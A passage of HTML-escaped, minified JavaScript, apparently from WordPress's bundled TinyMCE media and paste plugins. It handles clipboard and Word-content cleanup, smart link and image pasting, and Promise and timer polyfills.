e=t.selection.getNode();e&amp;&amp;t.dom.hasClass(e,&quot;mce-preview-object&quot;)&amp;&amp;t.dom.getAttrib(e,&quot;data-mce-selected&quot;)&amp;&amp;e.setAttribute(&quot;data-mce-selected&quot;,&quot;2&quot;)}),t.on(&quot;ObjectSelected&quot;,function(e){var t=e.target.getAttribute(&quot;data-mce-object&quot;);&quot;audio&quot;!==t&amp;&amp;&quot;script&quot;!==t||e.preventDefault()}),t.on(&quot;objectResized&quot;,function(e){var t,r=e.target;r.getAttribute(&quot;data-mce-object&quot;)&amp;&amp;(t=r.getAttribute(&quot;data-mce-html&quot;))&amp;&amp;(t=unescape(t),r.setAttribute(&quot;data-mce-html&quot;,escape(W(t,{width:e.width,height:e.height}))))})},Oe=function(e){e.addButton(&quot;media&quot;,{tooltip:&quot;Insert/edit media&quot;,cmd:&quot;mceMedia&quot;,stateSelector:[&quot;img[data-mce-object]&quot;,&quot;span[data-mce-object]&quot;,&quot;div[data-ephox-embed-iri]&quot;]}),e.addMenuItem(&quot;media&quot;,{icon:&quot;media&quot;,text:&quot;Media&quot;,cmd:&quot;mceMedia&quot;,context:&quot;insert&quot;,prependToContext:!0})};i.add(&quot;media&quot;,function(e){return me(e),Oe(e),ye(e),be(e),xe(e),le(e)})}();
// Source: wp-includes/js/tinymce/plugins/paste/plugin.min.js
!function(v){&quot;use strict&quot;;var p=function(t){var e=t,n=function(){return e};return{get:n,set:function(t){e=t},clone:function(){return p(n())}}},e=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),a=function(t){return!(!/(^|[ ,])powerpaste([, ]|$)/.test(t.settings.plugins)||!e.get(&quot;powerpaste&quot;)||(&quot;undefined&quot;!=typeof v.window.console&amp;&amp;v.window.console.log&amp;&amp;v.window.console.log(&quot;PowerPaste is incompatible with Paste plugin! Remove &#039;paste&#039; from the &#039;plugins&#039; option.&quot;),0))},u=function(t,e){return{clipboard:t,quirks:e}},d=function(t,e,n,r){return t.fire(&quot;PastePreProcess&quot;,{content:e,internal:n,wordContent:r})},m=function(t,e,n,r){return t.fire(&quot;PastePostProcess&quot;,{node:e,internal:n,wordContent:r})},s=function(t,e){return t.fire(&quot;PastePlainTextToggle&quot;,{state:e})},n=function(t,e){return t.fire(&quot;paste&quot;,{ieFake:e})},g={shouldPlainTextInform:function(t){return t.getParam(&quot;paste_plaintext_inform&quot;,!0)},shouldBlockDrop:function(t){return t.getParam(&quot;paste_block_drop&quot;,!1)},shouldPasteDataImages:function(t){return t.getParam(&quot;paste_data_images&quot;,!1)},shouldFilterDrop:function(t){return t.getParam(&quot;paste_filter_drop&quot;,!0)},getPreProcess:function(t){return t.getParam(&quot;paste_preprocess&quot;)},getPostProcess:function(t){return t.getParam(&quot;paste_postprocess&quot;)},getWebkitStyles:function(t){return t.getParam(&quot;paste_webkit_styles&quot;)},shouldRemoveWebKitStyles:function(t){return t.getParam(&quot;paste_remove_styles_if_webkit&quot;,!0)},shouldMergeFormats:function(t){return t.getParam(&quot;paste_merge_formats&quot;,!0)},isSmartPasteEnabled:function(t){return t.getParam(&quot;smart_paste&quot;,!0)},isPasteAsTextEnabled:function(t){return t.getParam(&quot;paste_as_text&quot;,!1)},getRetainStyleProps:function(t){return t.getParam(&quot;paste_retain_style_properties&quot;)},getWordValidElements:function(t){return t.getParam(&quot;paste_word_valid_elements&quot;,&quot;-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody&quot;)},shouldConvertWordFakeLists:function(t){return t.getParam(&quot;paste_convert_word_fake_lists&quot;,!0)},shouldUseDefaultFilters:function(t){return t.getParam(&quot;paste_enable_default_filters&quot;,!0)}},r=function(t,e,n){var r,o,i;&quot;text&quot;===e.pasteFormat.get()?(e.pasteFormat.set(&quot;html&quot;),s(t,!1)):(e.pasteFormat.set(&quot;text&quot;),s(t,!0),i=t,!1===n.get()&amp;&amp;g.shouldPlainTextInform(i)&amp;&amp;(o=&quot;Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.&quot;,(r=t).notificationManager.open({text:r.translate(o),type:&quot;info&quot;}),n.set(!0))),t.focus()},c=function(t,n,e){t.addCommand(&quot;mceTogglePlainTextPaste&quot;,function(){r(t,n,e)}),t.addCommand(&quot;mceInsertClipboardContent&quot;,function(t,e){e.content&amp;&amp;n.pasteHtml(e.content,e.internal),e.text&amp;&amp;n.pasteText(e.text)})},h=tinymce.util.Tools.resolve(&quot;tinymce.Env&quot;),y=tinymce.util.Tools.resolve(&quot;tinymce.util.Delay&quot;),b=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),o=tinymce.util.Tools.resolve(&quot;tinymce.util.VK&quot;),t=&quot;x-tinymce/html&quot;,i=&quot;\x3c!-- &quot;+t+&quot; --\x3e&quot;,l=function(t){return i+t},f=function(t){return t.replace(i,&quot;&quot;)},w=function(t){return-1!==t.indexOf(i)},x=function(){return t},_=tinymce.util.Tools.resolve(&quot;tinymce.html.Entities&quot;),P=function(t){return t.replace(/\r?\n/g,&quot;&lt;br&gt;&quot;)},T=function(t,e,n){var r=t.split(/\n\n/),o=function(t,e){var n,r=[],o=&quot;&lt;&quot;+t;if(&quot;object&quot;==typeof e){for(n in e)e.hasOwnProperty(n)&amp;&amp;r.push(n+&#039;=&quot;&#039;+_.encodeAllRaw(e[n])+&#039;&quot;&#039;);r.length&amp;&amp;(o+=&quot; &quot;+r.join(&quot; &quot;))}return o+&quot;&gt;&quot;}(e,n),i=&quot;&lt;/&quot;+e+&quot;&gt;&quot;,a=b.map(r,function(t){return t.split(/\n/).join(&quot;&lt;br /&gt;&quot;)});return 1===a.length?a[0]:b.map(a,function(t){return o+t+i}).join(&quot;&quot;)},D=function(t){return!/&lt;(?:\/?(?!(?:div|p|br|span)&gt;)\w+|(?:(?!(?:span style=&quot;white-space:\s?pre;?&quot;&gt;)|br\s?\/&gt;))\w+\s[^&gt;]+)&gt;/i.test(t)},C=function(t,e,n){return e?T(t,e,n):P(t)},k=tinymce.util.Tools.resolve(&quot;tinymce.html.DomParser&quot;),F=tinymce.util.Tools.resolve(&quot;tinymce.html.Serializer&quot;),E=tinymce.util.Tools.resolve(&quot;tinymce.html.Node&quot;),R=tinymce.util.Tools.resolve(&quot;tinymce.html.Schema&quot;);function I(e,t){return b.each(t,function(t){e=t.constructor===RegExp?e.replace(t,&quot;&quot;):e.replace(t[0],t[1])}),e}var O={filter:I,innerText:function(e){var n=R(),r=k({},n),o=&quot;&quot;,i=n.getShortEndedElements(),a=b.makeMap(&quot;script noscript style textarea video audio iframe object&quot;,&quot; &quot;),u=n.getBlockElements();return e=I(e,[/&lt;!\[[^\]]+\]&gt;/g]),function t(e){var n=e.name,r=e;if(&quot;br&quot;!==n){if(&quot;wbr&quot;!==n)if(i[n]&amp;&amp;(o+=&quot; &quot;),a[n])o+=&quot; &quot;;else{if(3===e.type&amp;&amp;(o+=e.value),!e.shortEnded&amp;&amp;(e=e.firstChild))for(;t(e),e=e.next;);u[n]&amp;&amp;r.next&amp;&amp;(o+=&quot;\n&quot;,&quot;p&quot;===n&amp;&amp;(o+=&quot;\n&quot;))}}else o+=&quot;\n&quot;}(r.parse(e)),o},trimHtml:function(t){return t=I(t,[/^[\s\S]*&lt;body[^&gt;]*&gt;\s*|\s*&lt;\/body[^&gt;]*&gt;[\s\S]*$/gi,/&lt;!--StartFragment--&gt;|&lt;!--EndFragment--&gt;/g,[/( ?)&lt;span class=&quot;Apple-converted-space&quot;&gt;\u00a0&lt;\/span&gt;( ?)/g,function(t,e,n){return e||n?&quot;\xa0&quot;:&quot; &quot;}],/&lt;br class=&quot;Apple-interchange-newline&quot;&gt;/g,/&lt;br&gt;$/i])},createIdGenerator:function(t){var e=0;return function(){return t+e++}},isMsEdge:function(){return-1!==v.navigator.userAgent.indexOf(&quot; Edge/&quot;)}};function S(e){var n,t;return t=[/^[IVXLMCD]{1,2}\.[ \u00a0]/,/^[ivxlmcd]{1,2}\.[ \u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][ \u00a0]/,/^[0-9]+\.[ \u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/],e=e.replace(/^[\u00a0 ]+/,&quot;&quot;),b.each(t,function(t){if(t.test(e))return!(n=!0)}),n}function A(t){var i,a,u=1;function n(t){var e=&quot;&quot;;if(3===t.type)return t.value;if(t=t.firstChild)for(;e+=n(t),t=t.next;);return e}function s(t,e){if(3===t.type&amp;&amp;e.test(t.value))return t.value=t.value.replace(e,&quot;&quot;),!1;if(t=t.firstChild)do{if(!s(t,e))return!1}while(t=t.next);return!0}function e(e,n,r){var o=e._listLevel||u;o!==u&amp;&amp;(o&lt;u?i&amp;&amp;(i=i.parent.parent):(a=i,i=null)),i&amp;&amp;i.name===n?i.append(e):(a=a||i,i=new E(n,1),1&lt;r&amp;&amp;i.attr(&quot;start&quot;,&quot;&quot;+r),e.wrap(i)),e.name=&quot;li&quot;,u&lt;o&amp;&amp;a&amp;&amp;a.lastChild.append(i),u=o,function t(e){if(e._listIgnore)e.remove();else if(e=e.firstChild)for(;t(e),e=e.next;);}(e),s(e,/^\u00a0+/),s(e,/^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/),s(e,/^\u00a0+/)}for(var r=[],o=t.firstChild;null!=o;)if(r.push(o),null!==(o=o.walk()))for(;void 0!==o&amp;&amp;o.parent!==t;)o=o.walk();for(var c=0;c&lt;r.length;c++)if(&quot;p&quot;===(t=r[c]).name&amp;&amp;t.firstChild){var l=n(t);if(/^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(l)){e(t,&quot;ul&quot;);continue}if(S(l)){var f=/([0-9]+)\./.exec(l),d=1;f&amp;&amp;(d=parseInt(f[1],10)),e(t,&quot;ol&quot;,d);continue}if(t._listLevel){e(t,&quot;ul&quot;,1);continue}i=null}else a=i,i=null}function j(n,r,o,i){var a,u={},t=n.dom.parseStyle(i);return b.each(t,function(t,e){switch(e){case&quot;mso-list&quot;:(a=/\w+ \w+([0-9]+)/i.exec(i))&amp;&amp;(o._listLevel=parseInt(a[1],10)),/Ignore/i.test(t)&amp;&amp;o.firstChild&amp;&amp;(o._listIgnore=!0,o.firstChild._listIgnore=!0);break;case&quot;horiz-align&quot;:e=&quot;text-align&quot;;break;case&quot;vert-align&quot;:e=&quot;vertical-align&quot;;break;case&quot;font-color&quot;:case&quot;mso-foreground&quot;:e=&quot;color&quot;;break;case&quot;mso-background&quot;:case&quot;mso-highlight&quot;:e=&quot;background&quot;;break;case&quot;font-weight&quot;:case&quot;font-style&quot;:return void(&quot;normal&quot;!==t&amp;&amp;(u[e]=t));case&quot;mso-element&quot;:if(/^(comment|comment-list)$/i.test(t))return void o.remove()}0!==e.indexOf(&quot;mso-comment&quot;)?0!==e.indexOf(&quot;mso-&quot;)&amp;&amp;(&quot;all&quot;===g.getRetainStyleProps(n)||r&amp;&amp;r[e])&amp;&amp;(u[e]=t):o.remove()}),/(bold)/i.test(u[&quot;font-weight&quot;])&amp;&amp;(delete u[&quot;font-weight&quot;],o.wrap(new E(&quot;b&quot;,1))),/(italic)/i.test(u[&quot;font-style&quot;])&amp;&amp;(delete u[&quot;font-style&quot;],o.wrap(new E(&quot;i&quot;,1))),(u=n.dom.serializeStyle(u,o.name))||null}var M,L,N,B,H,$,W,U,z,V={preProcess:function(t,e){return g.shouldUseDefaultFilters(t)?function(r,t){var e,o;(e=g.getRetainStyleProps(r))&amp;&amp;(o=b.makeMap(e.split(/[, ]/))),t=O.filter(t,[/&lt;br class=&quot;?Apple-interchange-newline&quot;?&gt;/gi,/&lt;b[^&gt;]+id=&quot;?docs-internal-[^&gt;]*&gt;/gi,/&lt;!--[\s\S]+?--&gt;/gi,/&lt;(!|script[^&gt;]*&gt;.*?&lt;\/script(?=[&gt;\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/&gt;]))[^&gt;]*&gt;/gi,[/&lt;(\/?)s&gt;/gi,&quot;&lt;$1strike&gt;&quot;],[/&amp;nbsp;/gi,&quot;\xa0&quot;],[/&lt;span\s+style\s*=\s*&quot;\s*mso-spacerun\s*:\s*yes\s*;?\s*&quot;\s*&gt;([\s\u00a0]*)&lt;\/span&gt;/gi,function(t,e){return 0&lt;e.length?e.replace(/./,&quot; &quot;).slice(Math.floor(e.length/2)).split(&quot;&quot;).join(&quot;\xa0&quot;):&quot;&quot;}]]);var n=g.getWordValidElements(r),i=R({valid_elements:n,valid_children:&quot;-li[p]&quot;});b.each(i.elements,function(t){t.attributes[&quot;class&quot;]||(t.attributes[&quot;class&quot;]={},t.attributesOrder.push(&quot;class&quot;)),t.attributes.style||(t.attributes.style={},t.attributesOrder.push(&quot;style&quot;))});var a=k({},i);a.addAttributeFilter(&quot;style&quot;,function(t){for(var e,n=t.length;n--;)(e=t[n]).attr(&quot;style&quot;,j(r,o,e,e.attr(&quot;style&quot;))),&quot;span&quot;===e.name&amp;&amp;e.parent&amp;&amp;!e.attributes.length&amp;&amp;e.unwrap()}),a.addAttributeFilter(&quot;class&quot;,function(t){for(var e,n,r=t.length;r--;)n=(e=t[r]).attr(&quot;class&quot;),/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(n)&amp;&amp;e.remove(),e.attr(&quot;class&quot;,null)}),a.addNodeFilter(&quot;del&quot;,function(t){for(var e=t.length;e--;)t[e].remove()}),a.addNodeFilter(&quot;a&quot;,function(t){for(var e,n,r,o=t.length;o--;)if(n=(e=t[o]).attr(&quot;href&quot;),r=e.attr(&quot;name&quot;),n&amp;&amp;-1!==n.indexOf(&quot;#_msocom_&quot;))e.remove();else if(n&amp;&amp;0===n.indexOf(&quot;file://&quot;)&amp;&amp;(n=n.split(&quot;#&quot;)[1])&amp;&amp;(n=&quot;#&quot;+n),n||r){if(r&amp;&amp;!/^_?(?:toc|edn|ftn)/i.test(r)){e.unwrap();continue}e.attr({href:n,name:r})}else e.unwrap()});var u=a.parse(t);return g.shouldConvertWordFakeLists(r)&amp;&amp;A(u),t=F({validate:r.settings.validate},i).serialize(u)}(t,e):e},isWordContent:function(t){return/&lt;font face=&quot;Times New Roman&quot;|class=&quot;?Mso|style=&quot;[^&quot;]*\bmso-|style=&#039;[^&#039;&#039;]*\bmso-|w:WordDocument/i.test(t)||/class=&quot;OutlineElement/.test(t)||/id=&quot;?docs\-internal\-guid\-/.test(t)}},K=function(t,e){return{content:t,cancelled:e}},q=function(t,e,n,r){var o,i,a,u,s,c,l=d(t,e,n,r),f=function(t,e){var n=k({},t.schema);n.addNodeFilter(&quot;meta&quot;,function(t){b.each(t,function(t){return t.remove()})});var r=n.parse(e,{forced_root_block:!1,isRootContent:!0});return F({validate:t.settings.validate},t.schema).serialize(r)}(t,l.content);return t.hasEventListeners(&quot;PastePostProcess&quot;)&amp;&amp;!l.isDefaultPrevented()?(i=f,a=n,u=r,s=(o=t).dom.create(&quot;div&quot;,{style:&quot;display:none&quot;},i),c=m(o,s,a,u),K(c.node.innerHTML,c.isDefaultPrevented())):K(f,l.isDefaultPrevented())},G=function(t,e,n){var r=V.isWordContent(e),o=r?V.preProcess(t,e):e;return q(t,o,n,r)},X=function(t,e){return t.insertContent(e,{merge:g.shouldMergeFormats(t),paste:!0}),!0},Y=function(t){return/^https?:\/\/[\w\?\-\/+=.&amp;%@~#]+$/i.test(t)},Z=function(t){return Y(t)&amp;&amp;/.(gif|jpe?g|png)$/.test(t)},J=function(t,e,n){return!(!1!==t.selection.isCollapsed()||!Y(e)||(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.execCommand(&quot;mceInsertLink&quot;,!1,o)}),0));var r,o,i},Q=function(t,e,n){return!!Z(e)&amp;&amp;(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.insertContent(&#039;&lt;img src=&quot;&#039;+o+&#039;&quot;&gt;&#039;)}),!0);var r,o,i},tt=function(t,e){var n,r;!1===g.isSmartPasteEnabled(t)?X(t,e):(n=t,r=e,b.each([J,Q,X],function(t){return!0!==t(n,r,X)}))},et=function(){},nt=function(t){return function(){return t}},rt=nt(!1),ot=nt(!0),it=function(){return at},at=(M=function(t){return t.isNone()},B={fold:function(t,e){return t()},is:rt,isSome:rt,isNone:ot,getOr:N=function(t){return t},getOrThunk:L=function(t){return t()},getOrDie:function(t){throw new Error(t||&quot;error: getOrDie called on none.&quot;)},getOrNull:nt(null),getOrUndefined:nt(undefined),or:N,orThunk:L,map:it,each:et,bind:it,exists:rt,forall:ot,filter:it,equals:M,equals_:M,toArray:function(){return[]},toString:nt(&quot;none()&quot;)},Object.freeze&amp;&amp;Object.freeze(B),B),ut=function(n){var t=nt(n),e=function(){return o},r=function(t){return t(n)},o={fold:function(t,e){return e(n)},is:function(t){return n===t},isSome:ot,isNone:rt,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(t){return ut(t(n))},each:function(t){t(n)},bind:r,exists:r,forall:r,filter:function(t){return t(n)?o:at},toArray:function(){return[n]},toString:function(){return&quot;some(&quot;+n+&quot;)&quot;},equals:function(t){return t.is(n)},equals_:function(t,e){return t.fold(rt,function(t){return e(n,t)})}};return o},st={some:ut,none:it,from:function(t){return null===t||t===undefined?at:ut(t)}},ct=(H=&quot;function&quot;,function(t){return function(t){if(null===t)return&quot;null&quot;;var e=typeof t;return&quot;object&quot;===e&amp;&amp;(Array.prototype.isPrototypeOf(t)||t.constructor&amp;&amp;&quot;Array&quot;===t.constructor.name)?&quot;array&quot;:&quot;object&quot;===e&amp;&amp;(String.prototype.isPrototypeOf(t)||t.constructor&amp;&amp;&quot;String&quot;===t.constructor.name)?&quot;string&quot;:e}(t)===H}),lt=Array.prototype.slice,ft=function(t,e){for(var n=t.length,r=new Array(n),o=0;o&lt;n;o++){var i=t[o];r[o]=e(i,o)}return r},dt=function(t,e){for(var n=0,r=t.length;n&lt;r;n++)e(t[n],n)},mt=ct(Array.from)?Array.from:function(t){return lt.call(t)},pt={},gt={exports:pt};$=undefined,W=pt,U=gt,z=undefined,function(t){&quot;object&quot;==typeof W&amp;&amp;void 0!==U?U.exports=t():&quot;function&quot;==typeof $&amp;&amp;$.amd?$([],t):(&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof global?global:&quot;undefined&quot;!=typeof self?self:this).EphoxContactWrapper=t()}(function(){return function i(a,u,s){function c(e,t){if(!u[e]){if(!a[e]){var n=&quot;function&quot;==typeof z&amp;&amp;z;if(!t&amp;&amp;n)return n(e,!0);if(l)return l(e,!0);var r=new Error(&quot;Cannot find module &#039;&quot;+e+&quot;&#039;&quot;);throw r.code=&quot;MODULE_NOT_FOUND&quot;,r}var o=u[e]={exports:{}};a[e][0].call(o.exports,function(t){return c(a[e][1][t]||t)},o,o.exports,i,a,u,s)}return u[e].exports}for(var l=&quot;function&quot;==typeof z&amp;&amp;z,t=0;t&lt;s.length;t++)c(s[t]);return c}({1:[function(t,e,n){var r,o,i=e.exports={};function a(){throw new Error(&quot;setTimeout has not been defined&quot;)}function u(){throw new Error(&quot;clearTimeout has not been defined&quot;)}function s(t){if(r===setTimeout)return setTimeout(t,0);if((r===a||!r)&amp;&amp;setTimeout)return r=setTimeout,setTimeout(t,0);try{return r(t,0)}catch(e){try{return r.call(null,t,0)}catch(e){return r.call(this,t,0)}}}!function(){try{r=&quot;function&quot;==typeof setTimeout?setTimeout:a}catch(t){r=a}try{o=&quot;function&quot;==typeof clearTimeout?clearTimeout:u}catch(t){o=u}}();var c,l=[],f=!1,d=-1;function m(){f&amp;&amp;c&amp;&amp;(f=!1,c.length?l=c.concat(l):d=-1,l.length&amp;&amp;p())}function p(){if(!f){var t=s(m);f=!0;for(var e=l.length;e;){for(c=l,l=[];++d&lt;e;)c&amp;&amp;c[d].run();d=-1,e=l.length}c=null,f=!1,function(t){if(o===clearTimeout)return clearTimeout(t);if((o===u||!o)&amp;&amp;clearTimeout)return o=clearTimeout,clearTimeout(t);try{o(t)}catch(e){try{return o.call(null,t)}catch(e){return o.call(this,t)}}}(t)}}function g(t,e){this.fun=t,this.array=e}function v(){}i.nextTick=function(t){var e=new Array(arguments.length-1);if(1&lt;arguments.length)for(var n=1;n&lt;arguments.length;n++)e[n-1]=arguments[n];l.push(new g(t,e)),1!==l.length||f||s(p)},g.prototype.run=function(){this.fun.apply(null,this.array)},i.title=&quot;browser&quot;,i.browser=!0,i.env={},i.argv=[],i.version=&quot;&quot;,i.versions={},i.on=v,i.addListener=v,i.once=v,i.off=v,i.removeListener=v,i.removeAllListeners=v,i.emit=v,i.prependListener=v,i.prependOnceListener=v,i.listeners=function(t){return[]},i.binding=function(t){throw new Error(&quot;process.binding is not supported&quot;)},i.cwd=function(){return&quot;/&quot;},i.chdir=function(t){throw new Error(&quot;process.chdir is not supported&quot;)},i.umask=function(){return 0}},{}],2:[function(t,f,e){(function(n){!function(t){var e=setTimeout;function r(){}function a(t){if(&quot;object&quot;!=typeof this)throw new TypeError(&quot;Promises must be constructed via new&quot;);if(&quot;function&quot;!=typeof t)throw new TypeError(&quot;not a function&quot;);this._state=0,this._handled=!1,this._value=undefined,this._deferreds=[],l(t,this)}function o(r,o){for(;3===r._state;)r=r._value;0!==r._state?(r._handled=!0,a._immediateFn(function(){var t=1===r._state?o.onFulfilled:o.onRejected;if(null!==t){var e;try{e=t(r._value)}catch(n){return void u(o.promise,n)}i(o.promise,e)}else(1===r._state?i:u)(o.promise,r._value)})):r._deferreds.push(o)}function i(t,e){try{if(e===t)throw new TypeError(&quot;A promise cannot be resolved with itself.&quot;);if(e&amp;&amp;(&quot;object&quot;==typeof e||&quot;function&quot;==typeof e)){var n=e.then;if(e instanceof a)return t._state=3,t._value=e,void s(t);if(&quot;function&quot;==typeof n)return void l((r=n,o=e,function(){r.apply(o,arguments)}),t)}t._state=1,t._value=e,s(t)}catch(i){u(t,i)}var r,o}function u(t,e){t._state=2,t._value=e,s(t)}function s(t){2===t._state&amp;&amp;0===t._deferreds.length&amp;&amp;a._immediateFn(function(){t._handled||a._unhandledRejectionFn(t._value)});for(var e=0,n=t._deferreds.length;e&lt;n;e++)o(t,t._deferreds[e]);t._deferreds=null}function c(t,e,n){this.onFulfilled=&quot;function&quot;==typeof t?t:null,this.onRejected=&quot;function&quot;==typeof e?e:null,this.promise=n}function l(t,e){var n=!1;try{t(function(t){n||(n=!0,i(e,t))},function(t){n||(n=!0,u(e,t))})}catch(r){if(n)return;n=!0,u(e,r)}}a.prototype[&quot;catch&quot;]=function(t){return this.then(null,t)},a.prototype.then=function(t,e){var n=new this.constructor(r);return o(this,new c(t,e,n)),n},a.all=function(t){var s=Array.prototype.slice.call(t);return new a(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(e,t){try{if(t&amp;&amp;(&quot;object&quot;==typeof t||&quot;function&quot;==typeof t)){var n=t.then;if(&quot;function&quot;==typeof n)return void n.call(t,function(t){u(e,t)},i)}s[e]=t,0==--a&amp;&amp;o(s)}catch(r){i(r)}}for(var t=0;t&lt;s.length;t++)u(t,s[t])})},a.resolve=function(e){return e&amp;&amp;&quot;object&quot;==typeof e&amp;&amp;e.constructor===a?e:new a(function(t){t(e)})},a.reject=function(n){return new a(function(t,e){e(n)})},a.race=function(o){return new a(function(t,e){for(var n=0,r=o.length;n&lt;r;n++)o[n].then(t,e)})},a._immediateFn=&quot;function&quot;==typeof n?function(t){n(t)}:function(t){e(t,0)},a._unhandledRejectionFn=function(t){&quot;undefined&quot;!=typeof console&amp;&amp;console&amp;&amp;console.warn(&quot;Possible Unhandled Promise Rejection:&quot;,t)},a._setImmediateFn=function(t){a._immediateFn=t},a._setUnhandledRejectionFn=function(t){a._unhandledRejectionFn=t},void 0!==f&amp;&amp;f.exports?f.exports=a:t.Promise||(t.Promise=a)}(this)}).call(this,t(&quot;timers&quot;).setImmediate)},{timers:3}],3:[function(s,t,c){(function(t,e){var r=s(&quot;process/browser.js&quot;).nextTick,n=Function.prototype.apply,o=Array.prototype.slice,i={},a=0;function u(t,e){this._id=t,this._clearFn=e}c.setTimeout=function(){return new u(n.call(setTimeout,window,arguments),clearTimeout)},c.setInterval=function(){return new u(n.call(setInterval,window,arguments),clearInterval)},c.clearTimeout=c.clearInterval=function(t){t.close()},u.prototype.unref=u.prototype.ref=function(){},u.prototype.close=function(){this._clearFn.call(window,this._id)},c.enroll=function(t,e){clearTimeout(t._idleTimeoutId),t._idleTimeout=e},c.unenroll=function(t){clearTimeout(t._idleTimeoutId),t._idleTimeout=-1},c._unrefActive=c.active=function(t){clearTimeout(t._idleTimeoutId);var e=t._idleTimeout;0&lt;=e&amp;&amp;(t._idleTimeoutId=setTimeout(function(){t._onTimeout&amp;&amp;t._onTimeout()},e))},c.setImmediate=&quot;function&quot;==typeof t?t:function(t){var e=a++,n=!(arguments.length&lt;2)&amp;&amp;o.call(arguments,1);return i[e]=!0,r(function(){i[e]&amp;&amp;(n?t.apply(null,n):t.call(null),c.clearImmediate(e))}),e},c.clearImmediate=&quot;function&quot;==typeof e?e:function(t){delete i[t]}}).call(this,s(&quot;timers&quot;).setImmediate,s(&quot;timers&quot;).clearImmediate)},{&quot;process/browser.js&quot;:1,timers:3}],4:[function(t,e,n){var r=t(&quot;promise-polyfill&quot;),o=&quot;undefined&quot;!=typeof window?window:Function(&quot;return this;&quot;)();e.exports={boltExport:o.Promise||r}},{&quot;promise-polyfill&quot;:2}]},{},[4])(4)});var vt=gt.exports.boltExport,ht=function(t){var n=st.none(),e=[],r=function(t){o()?a(t):e.push(t)},o=function(){return n.isSome()},i=function(t){dt(t,a)},a=function(e){n.each(function(t){v.setTimeout(function(){e(t)},0)})};return t(function(t){n=st.some(t),i(e),e=[]}),{get:r,map:function(n){return ht(function(e){r(function(t){e(n(t))})})},isReady:o}},yt={nu:ht,pure:function(e){return ht(function(t){t(e)})}},bt=function(t){v.setTimeout(function(){throw t},0)},wt=function(n){var t=function(t){n().then(t,bt)};return{map:function(t){return wt(function(){return n().then(t)})},bind:function(e){return wt(function(){return n().then(function(t){return e(t).toPromise()})})},anonBind:function(t){return wt(function(){return n().then(function(){return t.toPromise()})})},toLazy:function(){return yt.nu(t)},toCached:function(){var t=null;return wt(function(){return null===t&amp;&amp;(t=n()),t})},toPromise:n,get:t}},xt=function(t){return wt(function(){return new vt(t)})},_t=function(a,t){return t(function(r){var o=[],i=0;0===a.length?r([]):dt(a,function(t,e){var n;t.get((n=e,function(t){o[n]=t,++i&gt;=a.length&amp;&amp;r(o)}))})})},Pt=function(t,e){return n=ft(t,e),_t(n,xt);var n},Tt=function(t,e,n){var r=n||w(e),o=G(t,f(e),r);!1===o.cancelled&amp;&amp;tt(t,o.content)},Dt=function(t,e){e=t.dom.encode(e).replace(/\r\n/g,&quot;\n&quot;),e=C(e,t.settings.forced_root_block,t.settings.forced_root_block_attrs),Tt(t,e,!1)},Ct=function(t){var e={};if(t){if(t.getData){var n=t.getData(&quot;Text&quot;);n&amp;&amp;0&lt;n.length&amp;&amp;-1===n.indexOf(&quot;data:text/mce-internal,&quot;)&amp;&amp;(e[&quot;text/plain&quot;]=n)}if(t.types)for(var r=0;r&lt;t.types.length;r++){var o=t.types[r];try{e[o]=t.getData(o)}catch(i){e[o]=&quot;&quot;}}}return e},kt=function(t,e){return e in t&amp;&amp;0&lt;t[e].length},Ft=function(t){return kt(t,&quot;text/html&quot;)||kt(t,&quot;text/plain&quot;)},Et=O.createIdGenerator(&quot;mceclip&quot;),Rt=function(e,t,n){var r,o,i,a,u=&quot;paste&quot;===t.type?t.clipboardData:t.dataTransfer;if(e.settings.paste_data_images&amp;&amp;u){var s=(i=(o=u).items?ft(mt(o.items),function(t){return t.getAsFile()}):[],a=o.files?mt(o.files):[],function(t,e){for(var n=[],r=0,o=t.length;r&lt;o;r++){var i=t[r];e(i,r)&amp;&amp;n.push(i)}return n}(0&lt;i.length?i:a,function(t){return/^image\/(jpeg|png|gif|bmp)$/.test(t.type)}));if(0&lt;s.length)return t.preventDefault(),(r=s,Pt(r,function(r){return xt(function(t){var e=r.getAsFile?r.getAsFile():r,n=new window.FileReader;n.onload=function(){t({blob:e,uri:n.result})},n.readAsDataURL(e)})})).get(function(t){n&amp;&amp;e.selection.setRng(n),dt(t,function(t){!function(t,e){var n,r,o,i,a,u,s,c=(n=e.uri,-1!==(r=n.indexOf(&quot;,&quot;))?n.substr(r+1):null),l=Et(),f=t.settings.images_reuse_filename&amp;&amp;e.blob.name?(o=t,i=e.blob.name,(a=i.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i))?o.dom.encode(a[1]):null):l,d=new v.Image;if(d.src=e.uri,u=t.settings,s=d,!u.images_dataimg_filter||u.images_dataimg_filter(s)){var m,p=t.editorUpload.blobCache,g=void 0;(m=p.findFirst(function(t){return t.base64()===c}))?g=m:(g=p.create(l,e.blob,c,f),p.add(g)),Tt(t,&#039;&lt;img src=&quot;&#039;+g.blobUri()+&#039;&quot;&gt;&#039;,!1)}else Tt(t,&#039;&lt;img src=&quot;&#039;+e.uri+&#039;&quot;&gt;&#039;,!1)}(e,t)})}),!0}return!1},It=function(t){return o.metaKeyPressed(t)&amp;&amp;86===t.keyCode||t.shiftKey&amp;&amp;45===t.keyCode},Ot=function(s,c,l){var 